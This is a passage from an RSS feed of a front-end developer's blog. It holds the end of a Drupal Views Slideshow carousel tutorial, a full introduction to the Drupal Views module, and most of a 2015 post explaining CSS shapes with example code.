&lt;p&gt;Go to wherever you chose to render your newly created Slideshow views block and right-click the Nid pager to inspect element.
&lt;img src=&quot;/images/posts/image-carousel/view-slideshow-5.jpg&quot; alt=&quot;Views slideshow source&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Depending on what you named your view, the div id for your block will render accordingly. Mine is &lt;code&gt;&amp;lt;div id=&amp;quot;block-views-slide-carousel&amp;gt;&lt;/code&gt;. This is the id for the entire carousel block.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Locate the controls div by working your way up from the highlighted Nid pager div. The default class is &lt;code&gt;&amp;lt;div class=&amp;quot;views-slideshow-controls-bottom&amp;gt;&lt;/code&gt;
&lt;img src=&quot;/images/posts/image-carousel/view-slideshow-6.jpg&quot; alt=&quot;Views slideshow controls bottom source&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The class for each individual pager is &lt;code&gt;&amp;lt;div class=&amp;quot;views-slideshow-pager-field-item&amp;gt;&lt;/code&gt;
&lt;img src=&quot;/images/posts/image-carousel/view-slideshow-7.jpg&quot; alt=&quot;Views slideshow pager field source&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Let&apos;s replace the Nid numerals with a nice dot pager. I use the Kellum Method for image replacement, and strongly encourage you to read &lt;a href=&quot;http://www.zeldman.com/2012/03/01/replacing-the-9999px-hack-new-image-replacement/&quot;&gt;Replacing the -9999PX hack&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/zeldman&quot;&gt;Jeffrey Zeldman&lt;/a&gt; to learn exactly how it works.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.views-slideshow-pager-field-item {
  /* line up dots horizontally */
  display: inline-block;

  /* getting rid of the numerals */
  text-indent: 100%;
  white-space: nowrap;
  overflow: hidden;

  /* creating the dots, adjust margin, size and colour as required */
  width: 16px;
  height: 16px;
  margin: 0 10px;
  border-radius: 50%;
  background-color: grey;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;As we previously enabled the Activate Slide and Pause on Pager Hover setting, hovering over each pager item will display its respective slide image. We want the pager to indicate the active slide as well.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.views-slideshow-pager-field-item.active {
  /* change the colour of the active slide&apos;s pager */
  background-color: black;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We&apos;ve turned our plain numerical Nids into lovely dot pagers. We can move the pager wherever we want too. If you want the pager overlayed on top of your images, then we need a few more lines of code.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.view-display-id-carousel {
  position: relative;
}

.views-slideshow-controls-bottom {
  position: absolute;

  /* makes sure the pager is positioned on top of the images */
  z-index: 10;

  /* set the position of the pager, adjust as required */
  right: 25px;
  bottom: 15px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now you should see something like this:
&lt;img src=&quot;/images/posts/image-carousel/view-slideshow-9.jpg&quot; alt=&quot;Pager styled&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Okay, so maybe this isn&apos;t as simple as I thought it would be. But hopefully this post can help you wrap your head around creating your own image carousel using Views slideshow.&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: Introduction to views</title><link>https://chenhuijing.com/blog/drupal-101-intro-to-views/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-intro-to-views/</guid><description>Views is an extremely popular Drupal module. As of time of writing, it has been downloaded 6,294,998 times and reported to be used in 876,607 sites. It&apos;s so…</description><pubDate>Fri, 20 Feb 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.drupal.org/project/views&quot;&gt;Views&lt;/a&gt; is an extremely popular Drupal module. As of time of writing, it has been downloaded 6,294,998 times and reported to be used in 876,607 sites. It&apos;s so popular, in fact, that it has been included in core for the Drupal 8. So why is Views such an essential module?&lt;/p&gt;
&lt;p&gt;If you&apos;re not one of the 6,294,998 people who downloaded Views, or if you did but somehow just couldn&apos;t grok it and just uninstalled it again, you may be wondering what the fuss is all about. Fact is, I almost fell into the latter category. Even though using Views is pretty intuitive to me now, I can still remember when it felt as complicated as trying to land Curiosity on Mars. Let me try to sum it up in three words.&lt;/p&gt;
&lt;p&gt;Views make lists.&lt;/p&gt;
&lt;p&gt;That&apos;s essentially what people use Views for. All the content created on Drupal is stored in a database, and Views allows us to filter and pull selected content from that database and display it in the form of a list. The official documentation can be found &lt;a href=&quot;https://www.drupal.org/node/2287909&quot;&gt;here&lt;/a&gt; and if you installed the &lt;a href=&quot;https://www.drupal.org/project/advanced_help&quot;&gt;Advanced Help&lt;/a&gt; module, you can access it directly from the Drupal admin.&lt;/p&gt;
&lt;p&gt;Let’s start off by installing this module. You can download it from the &lt;a href=&quot;https://www.drupal.org/project/views&quot;&gt;Views project page&lt;/a&gt; on Drupal.org. Refer to &lt;a href=&quot;https://www.drupal.org/documentation/install/modules-themes/modules-7&quot;&gt;Installing modules (Drupal 7)&lt;/a&gt; if you need help installing Drupal modules.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;As there is a dependency on the &lt;a href=&quot;http://drupal.org/project/ctools&quot;&gt;Chaos Tools Suite&lt;/a&gt; or CTools, you’ll have to install that module too. You have to enable the following 3 modules to use Views:&lt;/p&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Views&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Views UI --&gt; If you miss this, you&apos;ll end up wondering why you can&apos;t get to the Views admin page&lt;/li&gt;
    &lt;li&gt;Chaos Tools Suite&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you use &lt;a href=&quot;https://github.com/drush-ops/drush&quot;&gt;Drush&lt;/a&gt;, use the following command to download and enable Views:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush dl views
drush en views views_ui -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will install and enable all the required modules, including CTools, for you automatically.&lt;/p&gt;
&lt;p&gt;Go to the Views administration page and you will see a list of Views that come out of the box with the module. They will all be greyed out as they are disabled by default. The only one that I actually use is Taxonomy Term but most of the time I create my own Views.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/views-intro/views-admin.jpg&quot; alt=&quot;Views admin&quot;&gt;&lt;/p&gt;
&lt;p&gt;The settings tab provides some options that you can customise based on your preferences. If you have a lot of views, turning on the filters could help you find your view more easily. You can also change the admin theme of the Views UI. For those of you familiar with SQL, you may want to check Show the SQL query, under Live preview settings, for easier debugging of your view displays.&lt;/p&gt;
&lt;p&gt;Here&apos;s some terminology to get straight. A view is the selected content you pull from your database. Once you create a view, you can choose how to present this content through a variety of displays. We&apos;ll call them view displays.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/views-intro/views-diagram.jpg&quot; alt=&quot;Views diagram&quot;&gt;&lt;/p&gt;
&lt;p&gt;Clicking on ➕ Add new view will take you to the View creation wizard. It&apos;s sort of a simplified version of the main Views editor. Here you can enter the name of your view and its description.&lt;/p&gt;
&lt;p&gt;For me, I tend to create views for each content type, as that&apos;s how I structure my site data. But regardless, it&apos;s always advisable to name your views in an understandable manner. It also helps to fill in the description to supplement your name. There are also basic filters you can apply.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/views-intro/views-wizard.jpg&quot; alt=&quot;Views wizard&quot;&gt;&lt;/p&gt;
&lt;p&gt;Remember when I said Drupal stores all your content in a database? Well, a database is made up of lots of tables, so the Show drop-down lets you choose which base table your view will filter from. The most commonly used option will be Content, which are your nodes.&lt;/p&gt;
&lt;p&gt;I have also used Taxonomy terms and Users quite often, less so for the others. Depending on which base table you chose, there will be more settings and options you can choose.&lt;/p&gt;
&lt;p&gt;You can also choose to create a page or a block right off the bat and be done with it by clicking Save &amp;amp; exit. But odds are, you need to do some more to get the view looking exactly how you want it. So go ahead and click Continue &amp;amp; edit to get to the big boy editor.&lt;/p&gt;
&lt;p&gt;If you did not choose page or block from the wizard, you&apos;ll arrive at this screen, with Master* as the selected view display. This simply means that anything you set here, will be the default settings for any new displays created. And once you create a view display, unless you changed the settings, the Master panel will not be displayed anymore.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/views-intro/views-master.jpg&quot; alt=&quot;Views master display&quot;&gt;&lt;/p&gt;
&lt;p&gt;You get 4 types of view displays out of the box:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Attachment&lt;/strong&gt;&lt;/p&gt;
A view attachment allows you to attach one view display to another and use it on your site as though it was a single view. I found this &lt;a href=&quot;http://nmc-codes.blogspot.com/2012/10/views-attachment-in-drupal-7.html&quot;&gt;brilliant article&lt;/a&gt; that walks you through exactly how view attachments work.
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Block&lt;/strong&gt;&lt;/p&gt;
A view block allows your list to be displayed as a block, which you can move around and position accordingly from the block admin page.
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Feed&lt;/strong&gt;&lt;/p&gt;
A view feed allows your list to be rendered in an RSS feed format, which is good if you need to submit content to aggregators or want to allow people to subscribe to content on your site.
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Page&lt;/strong&gt;&lt;/p&gt;
A view page basically turns your list of content into a page, complete with it&apos;s own unique path.
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Views main editor&lt;/h2&gt;
&lt;p&gt;There are a lot of options and settings available here. Remember the Master* panel earlier? Whenever you apply an option or setting, you can choose to apply them to All displays (except overridden), which modifies the Master display and will affect all other displays as well.&lt;/p&gt;
&lt;p&gt;Or you can apply it just to the current display. You can see how your view display would potentially look by scrolling down to the Live preview section below the editor.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Display name&lt;/strong&gt;&lt;/p&gt;
  Naming the display will help when you have lots of displays for the same view. It will not be shown on the actual content display.
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Title&lt;/strong&gt;&lt;/p&gt;
  This will be displayed with the view. Enter &amp;lt;none&amp;gt; if you don&apos;t want the title to display.
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Format&lt;/strong&gt;&lt;/p&gt;
  Views come with default templates so you have a choice in how your content is displayed. You can choose to override them through your theme template files. The options are:
&lt;ul&gt;
&lt;li&gt;Grid → displays your content in a grid with each row of fields in each cell of the grid; uses &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; tags&lt;/li&gt;
&lt;li&gt;HTML list → displays your content in lists using HTML tags; uses &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;ol&amp;gt;&lt;/code&gt; tags&lt;/li&gt;
&lt;li&gt;Jump menu → creates a dropdown menu from the list of content, only works with fields, uses &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; tags&lt;/li&gt;
&lt;li&gt;Table → displays your content in a table with each field as a column, only works with fields, uses &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; tags&lt;/li&gt;
&lt;li&gt;Unformatted list → displays your content in generic divs, uses &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tags&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Show&lt;/strong&gt;&lt;/p&gt;
  You can show content based on how it&apos;s displayed on the node, or you can choose which individual fields you want to display.
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Fields&lt;/strong&gt;&lt;/p&gt;
  Select the fields you want displayed. They will appear in the order listed, so you can rearrange the order by clicking on the downward triangle next to the Add button to reveal the Rearrange option. This option is not available if you chose Content as the display mode.
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Filter criteria&lt;/strong&gt;&lt;/p&gt;
  You can further fine-tune your list of content based on various conditions. You can use multiple criteria.
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Sort criteria&lt;/strong&gt;&lt;/p&gt;
  Similarly, you can determine how the list will be sorted based on various conditions as well. You can use multiple criteria for this as well.
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Path&lt;/strong&gt;&lt;/p&gt;
  Only applicable to Page and Feed view displays. You&apos;ll need to specify a unique path for these displays.
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Access&lt;/strong&gt;&lt;/p&gt;
  You can control the visibility of each view display based on user role or permission access. It is advised to set this for every one of your view displays for security purposes. The default option is the permission to view published content.
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Header&lt;/strong&gt; and &lt;strong&gt;Footer&lt;/strong&gt;&lt;/p&gt;
  You can create a header as well as a footer for your views display. The most commonly used option would be Global: Text area, which allows you to add custom markup.
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Use pager&lt;/strong&gt;&lt;/p&gt;
  Odds are your list may be very long and hence require some type of pagination. This option is applicable to the page and block displays only. The attachment views display allows you to inherit the pager of the parent display it&apos;s attached to. You can choose from either the full pager or mini pager, as well as specify the number of items to be displayed.
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;More link&lt;/strong&gt;&lt;/p&gt;
  If there is more content than is displayed, you can choose to display a more link which will link to the page view of the display. The text on the link can be customised here.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That just about covers the most general settings and options and should be enough for you to get started with using Views on your website. Of course there is a lot more that can be done with Views, but this is just a basic introduction.&lt;/p&gt;
&lt;p&gt;The advanced options have goodies like contextual filters, relationships (essentially joining tables) and more. There are also a lot of additional modules that extend the capabilities of Views. I hope this post has helped you grok Views and you&apos;ll use it to create a better Drupal site.&lt;/p&gt;
</content:encoded></item><item><title>Why you should be excited about CSS shapes</title><link>https://chenhuijing.com/blog/why-you-should-be-excited-about-css-shapes/</link><guid isPermaLink="true">https://chenhuijing.com/blog/why-you-should-be-excited-about-css-shapes/</guid><description>Tired of rectangular layouts that look like a brick wall? With CSS shapes, your content can now flow around Beyoncé&apos;s elbow, like a boss.</description><pubDate>Wed, 18 Feb 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;This article has been translated to Chinese by &lt;a href=&quot;http://www.weibo.com/p/1005051762420561&quot;&gt;小八&lt;/a&gt; on &lt;a href=&quot;http://www.w3cplus.com/css3/why-you-should-be-excited-about-css-shapes.html&quot;&gt;W3cplus&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;So I just listened to &lt;a href=&quot;https://boagworld.com/season/11/episode/1105/&quot;&gt;Jen Simmons&apos; interview&lt;/a&gt; on the Boagworld podcast about CSS shapes and although I&apos;ve heard about CSS shapes for a while now, I never really tried it out for myself. But for some reason, this interview just compelled me to sit myself down and really understand what the excitement is all about. (Ok, it could largely be because I think &lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt; is awesome and I&apos;ve been listening to her fantastic podcast, &lt;a href=&quot;http://thewebahead.net/&quot;&gt;The Web Ahead&lt;/a&gt; for more than a year now)&lt;/p&gt;
&lt;p&gt;The first thing I did was to read the &lt;a href=&quot;http://www.w3.org/TR/css-shapes-1/&quot;&gt;W3C spec&lt;/a&gt; for the CSS shapes module level 1. Yes, the spec does read a bit like some legal document in the beginning, but the fun starts from section 2 where all the cool stuff is. In a nutshell, CSS shapes allows us to wrap text around more than just rectangular boxes. You can now wrap your text around circles, ellipses and polygons and even images.&lt;/p&gt;
&lt;p&gt;Before CSS shapes came along, we were more or less locked into standard layouts of rectangular columns. We had to explain to designers who came from print design that no, we can&apos;t make the text flow around your beautifully cropped image of Beyoncé.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;You want this?&lt;/figcaption&gt;
    &lt;img alt=&quot;Magazine layout&quot; src=&quot;/images/posts/css-shapes/magazine-layout.jpg&quot;&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Sorry, you get this.&lt;/figcaption&gt;
    &lt;img alt=&quot;Web layout&quot; src=&quot;/images/posts/css-shapes/web-layout.jpg&quot;&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;CSS shapes is being developed by the &lt;a href=&quot;https://web.archive.org/web/20170701212735/http://blogs.adobe.com:80/webplatform/&quot;&gt;Adobe Web Platform team&lt;/a&gt; and they have &lt;a href=&quot;https://web.archive.org/web/20161126111230/http://blogs.adobe.com/webplatform/category/features/css-shapes&quot;&gt;blogged&lt;/a&gt; about how this spec has been developing since 2012. Check out the cool demo the team built, based on &lt;a href=&quot;https://web.archive.org/web/20170521082737/http://webplatform.adobe.com:80/Demo-for-Alice-s-Adventures-in-Wonderland/&quot;&gt;Alice in Wonderland&lt;/a&gt;, to showcase CSS shapes&apos; capabilities. Point is, with CSS shapes, it&apos;s totally possible to have text wrap around Beyoncé&apos;s elbow.&lt;/p&gt;
&lt;img alt=&quot;Beyoncé&quot; class=&quot;shape&quot; src=&quot;/images/posts/css-shapes/beyonce.png&quot;&gt;
&lt;p&gt;To be honest, the W3C spec is not that easy to understand, so here&apos;s my attempt at explaining it in plain English. A prerequisite for applying a CSS shape property to an element is that the element must be floated. It doesn&apos;t work on non-floated elements.&lt;/p&gt;
&lt;p&gt;If the browser you&apos;re using right now supports CSS shapes, you should see text wrapping nicely around the image of Beyoncé, otherwise you&apos;ll just see the standard rectangular column of text. (Hint: Try using Chrome or Safari)&lt;/p&gt;
&lt;p&gt;There are 4 basic shape functions you can use to define an element&apos;s shape, in other words, how you want the text to flow around your element. In addition to that, you can also extract a shape from images with an alpha channel.&lt;/p&gt;
&lt;p&gt;The browser identifies the required shape from the &lt;code&gt;shape-image-threshold&lt;/code&gt; property. Pixels which have a higher alpha value than the threshold will make up the shape, so it&apos;s value must be between 0.0 (transparent) to 1.0 (opaque). If, for some reason, your image doesn&apos;t load, there will be no shape to speak of.&lt;/p&gt;
&lt;p&gt;For now, text can only flow on the opposite side of the float declared on the element, meaning if it&apos;s floated left, then the text will flow on the right, and vice versa. In the future, it will be possible to make text flow all around an element with something called &lt;a href=&quot;http://dev.w3.org/csswg/css-exclusions/&quot;&gt;CSS exclusions&lt;/a&gt;.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Here&apos;s an example of how you would use `shape-outside` to make text flow along an image.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.shape {
  shape-outside: url(&amp;quot;path/to/nicely-cropped-image.png&amp;quot;);
  shape-image-threshold: 0.5;
  shape-margin: 10px;
  float: left;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;There are two types of shape properties:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;shape-outside&lt;/code&gt; which flows the text around a shape. This goes with the &lt;code&gt;shape-margin&lt;/code&gt; property.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;shape-inside&lt;/code&gt; which wraps text inside a shape. This goes with the &lt;code&gt;shape-padding&lt;/code&gt; property. (This property has been deferred to &lt;a href=&quot;http://dev.w3.org/csswg/css-shapes-2/&quot;&gt;CSS shapes module level 2&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The &lt;code&gt;circle()&lt;/code&gt; function&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/css-shapes/circle-example.jpg&quot; alt=&quot;CSS shapes circle example&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.circle {
  /* general styles for the div*/
  width: 200px;
  height: 200px;
  background-color: #a4f4b0;
  border-radius: 50%;

  /* make it a shape!*/
  shape-outside: circle();
  float: left;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;The formal syntax for using the circle() function is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;circle( [&amp;lt;shape-radius&amp;gt;]? [at &amp;lt;position&amp;gt;]? )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The question marks indicate that the parameters are optional.&lt;/p&gt;
&lt;p&gt;CSS shapes live inside a reference box, which is the basis for the coordinate system. It follows the CSS box model. &lt;a href=&quot;http://razvancaliman.com/&quot;&gt;Razvan Caliman&lt;/a&gt;, one of the engineers working on CSS shapes, wrote a very good in-depth article on &lt;a href=&quot;http://razvancaliman.com/writing/css-shapes-reference-boxes/&quot;&gt;CSS reference boxes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;shape-radius&lt;/code&gt; is the radius of the circle and takes any length unit (px, em, rem, etc.), as well as percentages. You can also use &lt;code&gt;closest-side&lt;/code&gt; and &lt;code&gt;farthest-side&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;closest-side&lt;/code&gt; uses the length from the centre of the shape to its closest edge of the reference box. Conversely, &lt;code&gt;farthest-side&lt;/code&gt; uses the length from the centre of the shape to its farthest edge of the reference box. This property defaults to &lt;code&gt;closest-side&lt;/code&gt; if left blank.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;position&lt;/code&gt; is represented by a pair of x and y coordinates on the element&apos;s coordinate system. It defaults to (0, 0), at the centre of the element.&lt;/p&gt;
&lt;p&gt;CSS shapes is one of those properties that won&apos;t totally break your layout if someone is viewing it on an unsupported browser. It just falls back onto the usual rectangular column most people are already used to anyway.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/css-shapes/circle-example-fallback.jpg&quot; alt=&quot;CSS shapes circle fallback example&quot;&gt;&lt;/p&gt;
&lt;h2&gt;The &lt;code&gt;ellipse()&lt;/code&gt; function&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/css-shapes/ellipse-example.jpg&quot; alt=&quot;CSS shapes ellipse example&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.ellipse {
  width: 100px;
  height: 200px;
  background-color: #a4f4b0;
  border-radius: 50%;

  shape-outside: ellipse();
  float: left;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;An ellipse is just a circle that appears to have been sat on. Or squashed. So the official syntax for the ellipse() function is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;ellipse( [&amp;lt;shape-radius&amp;gt;{2}]? [at &amp;lt;position&amp;gt;]? )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice the 2 behind shape-radius? This just means the function takes in 2 variables, the length of the ellipse&apos;s radius on the x-axis and another length on the y-axis. Like the circle, it defaults to &lt;code&gt;closest-side&lt;/code&gt;.
The position variable also behaves like the circle() function, and the coordinates default to (0, 0), the centre of the ellipse.&lt;/p&gt;
&lt;h2&gt;The &lt;code&gt;inset()&lt;/code&gt; function&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/css-shapes/inset-example.jpg&quot; alt=&quot;CSS shapes inset example&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.inset {
  width: 200px;
  height: 160px;
  background-color: #a4f4b0;
  border-radius: 50px;

  shape-outside: inset(0px round 50px);
  float: left;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It took me a bit more time to wrap my head around the &lt;code&gt;inset()&lt;/code&gt; function, but what helped was playing around with the code on &lt;a href=&quot;http://codepen.io/huijing/pen/vEdVQZ&quot;&gt;Codepen&lt;/a&gt;. Here&apos;s the official syntax for the &lt;code&gt;inset()&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;inset( &amp;lt;shape-arg&amp;gt;{1,4} [round &amp;lt;border-radius&amp;gt;]? )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;shape-arg&lt;/code&gt; takes in variables the way we write the shorthand for margin or padding, in the order of top, right, bottom then left. So you can pass in 1 value, 2 values or 4 values. Inset is applied from the edge of the element inwards toward the centre.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;When &lt;code&gt;shape-arg&lt;/code&gt; is set to 0px&lt;/figcaption&gt;
    &lt;img alt=&quot;CSS shapes inset example 2&quot; src=&quot;/images/posts/css-shapes/inset-example-2.jpg&quot;&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;When &lt;code&gt;shape-arg&lt;/code&gt; is set to 15px&lt;/figcaption&gt;
    &lt;img alt=&quot;CSS shapes inset example 3&quot; src=&quot;/images/posts/css-shapes/inset-example-3.jpg&quot;&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;The optional parameter here is &lt;code&gt;border-radius&lt;/code&gt;, which allows you to create rectangles with rounded corners and flow your text along those rounded corners. Personally, I think the border-radius property is what makes the &lt;code&gt;inset()&lt;/code&gt; function useful at all since we can already make text flow around normal rectangles, but that&apos;s just me.&lt;/p&gt;
&lt;h2&gt;The &lt;code&gt;polygon()&lt;/code&gt; function&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/css-shapes/polygon-example.jpg&quot; alt=&quot;CSS shapes polygon example&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.polygon {
  width: 200px;
  height: 200px;
  clip-path: polygon(0 0, 0 200px, 200px 100px);
  background-color: #a4f4b0;

  shape-outside: polygon(0 0, 0 200px, 200px 100px);
  float: left;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;polygon()&lt;/code&gt; function allows you to define your own shape using coordinate pairs as parameters. The official syntax for the polygon() function is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;polygon( [&amp;lt;fill-rule&amp;gt;,]? [&amp;lt;shape-arg&amp;gt; &amp;lt;shape-arg&amp;gt;]# )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is an optional &lt;code&gt;fill-rule&lt;/code&gt; property which determines how the shape will be displayed, especially when you have a complex shape with many points which may cross each other. The default value is nonzero. You can refer to the &lt;a href=&quot;http://www.w3.org/TR/SVG/painting.html#FillRuleProperty&quot;&gt;fill-rule&lt;/a&gt; property for more information.&lt;/p&gt;
&lt;p&gt;Each coordinate pair will be a point on your desired shape. There has to be at least 3 points for this to work. In my example code, I used &lt;code&gt;clip-path&lt;/code&gt; to create the polygon shape by &amp;quot;clipping&amp;quot; out the bits of the element which are outside the polygon, so we can see the text flow nicely around it.&lt;/p&gt;
&lt;p&gt;It may be pretty straightforward to create a standard shape like the triangle in my example, but for complex shapes, plotting the points would be quite a painful endeavour. Which is why &lt;a href=&quot;http://razvancaliman.com/&quot;&gt;Razvan Caliman&lt;/a&gt; released the &lt;a href=&quot;http://razvancaliman.com/writing/css-shapes-editor-chrome/&quot;&gt;CSS Shapes Editor for Chrome&lt;/a&gt;. It adds an additional tab to the Elements panel called Shapes. It allows you to drag points on your shape and adjust it in the browser. The article covers exactly what you need to do to install and use the extension.&lt;/p&gt;
&lt;h2&gt;Browser support for CSS shapes&lt;/h2&gt;
&lt;p&gt;CSS shapes has been available for Chrome since the 37 release, while Safari support came along at 7.1. Here&apos;s a look at the browser support for CSS shapes as of time of writing:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/css-shapes/css-shapes.jpg&quot; alt=&quot;Can I use CSS shapes&quot;&gt;&lt;/p&gt;
&lt;p&gt;The unfortunate thing is, neither Firefox nor Internet Explorer supports CSS shapes right now. But this is a feature that we should all keep an eye on, and get ourselves ready for, because this could potentially change the way we design websites altogether.&lt;/p&gt;
&lt;h3&gt;Recommended reading for more CSS shapes goodness:&lt;/h3&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.html5rocks.com/en/tutorials/shapes/getting-started/&quot;&gt;Getting started with CSS shapes&lt;/a&gt; by &lt;a href=&quot;http://razvancaliman.com/&quot;&gt;Razvan Caliman&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://web.archive.org/web/20170823222424/http://blogs.adobe.com/webplatform/2013/10/23/css-shapes-visual-storytelling/&quot;&gt;Using CSS shapes to enhance visual storytelling&lt;/a&gt; by &lt;a href=&quot;http://razvancaliman.com/&quot;&gt;Razvan Caliman&lt;/a&gt; (If you need more proof that CSS shapes is awesome)&lt;/li&gt;
